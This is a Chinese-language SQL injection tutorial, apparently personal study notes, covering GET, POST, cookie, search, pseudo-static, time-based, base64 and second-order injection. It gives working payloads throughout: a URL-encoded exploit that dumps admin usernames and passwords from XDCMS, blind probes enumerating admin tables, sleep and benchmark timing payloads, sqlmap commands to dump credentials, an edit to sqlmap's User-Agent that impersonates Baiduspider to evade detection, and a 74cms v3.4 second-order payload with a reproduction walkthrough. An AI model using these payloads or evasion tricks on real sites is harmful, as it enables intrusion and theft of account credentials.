大綱:提交方式注入 參數型注入 其他注入
提交方式注入
常見的提交方式:
GET:大多數,正常的瀏覽,以URL的方式進行傳參,不安全,明文傳輸,存在長度限制。xx.com/x.php?id=1
POST:一般在登錄頁面,參數在數據包中,不在URL中傳輸,相對比較安全
COOKIE:本地登錄憑證
HEAD:頭部信息
PUT OPTION
服務器端接收數據的方式:
GET 只接受get型的傳參
POST 只接受post型的傳參
REQUEST get,post,cookie方式都接受
GET注入
get注入比較常見
e.g www.xx.com/news.php?id=11
檢測:加個 / 報錯 -0 正常 --->存在注入
加 ' SQL語句顯錯注入 或 %bf' 寬字節繞過
POST注入
post提交方式主要適用於表單的提交,注冊用戶,登錄賬號,留言,修改賬號,修改個人資料,上傳文件,搜索框
用於登錄框的注入
e.g www.xxx.com/admin.php
可以在用戶注冊的時候,在用戶名后面加上 ' 會報錯,存在注入,將bp抓的包存儲成txt文件,用sqlmap跑包,如果在注冊的時候,網頁對 ' 過濾,可以在bp抓包,將username的后面加上5bf,繞過過濾
工具:穿山甲、sqlmap
XDCMS全版本存在SQL注入漏洞
需要使用代理抓包改包完成
sql exp
%60%3D%28select%20group_concat%28username%2C0x3a%2cpassword%29%20from%20c_admin%20where%20id%3D1%29%23
將這段exp放在5D%的前面(測表單的名稱)
COOKIE注入
cookie提交用於賬號密碼的cookie緩存,還可以通過cookie注入來突破簡單的防注入系統
sqlmap.py -u "" --cookie "id=30" --level 2
前提:服務器接收cookie型的傳參
如果是get型的傳參方式,再試試post型的傳參,如果能傳遞成功,說明cookie也是可以的。
也可以bp抓包,修改cookie.......;id=30
再用sqlmap跑包
參數型注入
數字類型注入 字符類型注入 搜索類型注入
數字型注入
www.xxx.com/news.asp?id=1
select *from news where id=11
www.xxx.com/news.asp?id=11 and 1=1
select * from news where id=11 and 1=1
字符型注入
www.xx.com/news.asp?id=你好' and 1=1 #
select * from news where id="你好' and 1=1 #'
www.xx.com/news.asp?id=你好' and 1=1'
select * from news where id='你好' and 1=1'
搜索型修注入
like 像
通配符 *
SQL通配符%%
select * from news where id="'%like $id%"
http://www.xx.com/search.asp?Field=Title&BigClassName=&SmallClassName=&Keyworld=123&Submit=%CB%D1%CB%F7
參數:keyword=123
'%%' and 1=2 and '%'='%'
可以直接bp抓包,存為txt,用sqlmap跑包
網站是通過useragent:sql.org檢測sqlmap攻擊的
繞過方法,在安裝路徑下,lib文件夾中,core文件中的option.py文件的地1425行左右,改為百度的爬行蜘蛛

return "User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/apilder.html)"
手工注入:
2%'and(select count(*)from mssysaccessobjects)>0 and '%'=' //返回正常,access數據庫
2%'and(select count(*)from admin_user)>0 and '%'=' //返回正常,存在admin_user表
2%'and(select count(username)from admin_user)>0 and '%'=' //返回正常,存在username字段
2%'and(select count(password)from admin_user)>0 and '%'=' //返回正常,存在password字段
2%'and(select top 1 len(admin)from admin_user)>4 and '%'=' //返回正常,username長度大於4
用sqlmap
先抓包,保存為txt
sqlmap.py -r 1.txt --tables 表名
sqlmap.py -r 1.txt --columns -T "admin" 列名
sqlmap.py -r 1.txt -C "admin,password" -T "manager" --dump -v 2 內容
其他注入
偽靜態注入 延遲注入 base64注入 二階注入
phpv9 authkey注入 http頭注入 XML實體注入 APP注入挖掘
偽靜態注入
例如:
http://xx.com.cn/
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131.html
檢測方法:
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131 返回正常
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131'.html 報錯
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131/.html 報錯
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131-0.html 報錯
在用sqlmap跑的時候sqlmap檢測不不到注入點時,如下
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131*.html
通常存在於aspcms、phpweb、thinkphp等框架網站
自己偽造偽靜態
例如:
xx.com/x_deitl_id_123.html
對比如下:
xx.com/x/deitl.php?id=123
延遲注入
是一種條件判斷,通過時間判斷,僅僅是判斷,無法上傳shell
延遲注入是通過也免得返回時間長度來判斷的,不同的MySQL數據庫版本,延遲注入的語句不一樣
MySQL>=5.0的可以用sleep()進行查詢
MySQL<5.0的可以用benchmark()進行查詢
benchmark用法:
benchmark(n,sql語句) n為查詢次數
通過查詢洗漱的增多,時間變得緩慢來判斷是否存在注入
select benchmark(1000.select * from admin);
sleep()延遲注入用法
sleep可以強制產生一個固定的延遲
sleep()延遲注入的核心原理
and if(true,sleep(5),0)==IF(1=1,true,false);
?id=1 and sleep(5) 判斷是否存在延遲注入
and if(substring(user(),1,4)='root',sleep(5),1) 判斷當前用戶
and if(MID(version(),1,1) LIKE 5, sleep(5),1) 判斷數據庫版本信息是否為5,可以猜解他的數據庫名稱
and if(ascii(substring(database(),1,4))>100,sleep(4),1)
sqlmap.py --time-sec=2 延遲注入
base64編碼注入
解碼
構造語句
編碼
$id=base64_decode($id);
用插件 --tamper=base64encode.py
二階注入
(一般是在白盒測試中進行,需要代碼審計)
sql注入一般分為兩種,一階注入(普通的sql注入)和二階注入
一階注入是發生在一個HTTP請求和響應中,系統堆攻擊數據立即反應執行
一階注入的攻擊過程歸納如下:
1、攻擊者在http請求中提交惡意的sql語句
2、應用處理惡意的輸入,使用惡意的輸入動態構建SQL語句
3、如果攻擊實現,在響應中向攻擊者返回結果
二階注入,作為SQL注入的一種,不同於普通的SQL注入,惡意代碼被注入到web應用中不會立即執行,而是存儲在后端數據庫中,在處理另一個不同的請求時,應用檢索到數據庫中的惡意輸入並利用他動態構建SQL語句,實現攻擊。
二階注入攻擊過程歸納如下:
1、攻擊者在一個HTTP請求中提交惡意輸入
2、用於將惡意輸入保存在數據庫中
3、攻擊者提交第二個HTTP請求
4、為處理第二個HTTP請求,應用檢索存儲在數據庫中的惡意輸入,動態構建SQL語句
5、如果攻擊實現,在第二個請求的響應中就會返回結果
一般攻擊利用是兩種方式
攻擊存儲 注入攻擊
74cms人才系統v3.4簡歷填寫中存在注入 aa','fullname'=user()#
實現過程如下:
在網站上搜74cms v3.4的源碼,直接放在PHPstudy的www路徑下,地址欄中輸入127.0.0.1回車,做一番數據庫配置就好了

點擊填寫簡歷
先注冊一個賬戶

然后創建簡歷,前面的信息都可以隨便填,只要符合格式就好

需要注意的下面一步,這一步中學校名稱里面存在二階注入漏洞,輸入我們的測試語句 aa',`fullname`=user()# ,保存提交

此時信息錄制成功

此時我們點擊預覽簡歷,就可以發現已經將查詢結果返回了

2019-05-05 20:17:46
